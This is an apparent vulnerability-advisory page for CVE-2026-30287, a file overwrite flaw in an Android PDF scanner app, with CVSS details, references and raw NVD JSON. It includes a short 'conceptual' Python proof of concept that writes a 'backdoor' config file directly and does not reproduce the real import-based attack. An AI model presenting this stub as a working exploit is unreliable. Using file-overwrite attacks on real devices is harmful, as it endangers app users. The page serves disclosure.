Security Vulnerability Report
中文
CVE-2026-30287 CVSS 8.4 HIGH

CVE-2026-30287

Published: 2026-04-01 14:16:50
Last Modified: 2026-04-02 19:37:44

Description

An arbitrary file overwrite vulnerability in Deep Thought Industries ACE Scanner PDF Scanner v1.4.5 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deepthought.industries:ace_scanner:1.4.5:*:*:*:*:android:*:* - VULNERABLE
Deep Thought Industries ACE Scanner PDF Scanner v1.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-30287 # This script demonstrates the logic of overwriting a critical file via the import process. import os def simulate_exploit(): # The vulnerable package name (derived from Play Store link) package_path = "/data/data/pdfscanner.scan.pdf.scanner.free/" # Target critical internal file to overwrite (e.g., a config or library) target_file = os.path.join(package_path, "files/critical_config.json") # Malicious payload content malicious_content = '{"admin": true, "backdoor": "enabled"}' print(f"[*] Targeting: {target_file}") # In a real exploit, this would involve invoking the app's import intent # with a crafted file path pointing to 'target_file'. try: # Simulating the write operation performed by the vulnerable app with open(target_file, 'w') as f: f.write(malicious_content) print(f"[+] Success: File overwritten with malicious payload.") print(f"[+] Next step: Trigger code execution by waiting for app restart.") except Exception as e: print(f"[-] Simulation failed: {e}") if __name__ == "__main__": simulate_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30287", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:49.777", "lastModified": "2026-04-02T19:37:43.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file overwrite vulnerability in Deep Thought Industries ACE Scanner PDF Scanner v1.4.5 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deepthought.industries:ace_scanner:1.4.5:*:*:*:*:android:*:*", "matchCriteriaId": "C11A989B-E14D-4DB6-AC50-E4F4F07AB223"}]}]}], "references": [{"url": "https://deepthought.industries/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/16", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}, {"url": "https://play.google.com/store/apps/details?id=pdfscanner.scan.pdf.scanner.free", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://secsys.fudan.edu.cn/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}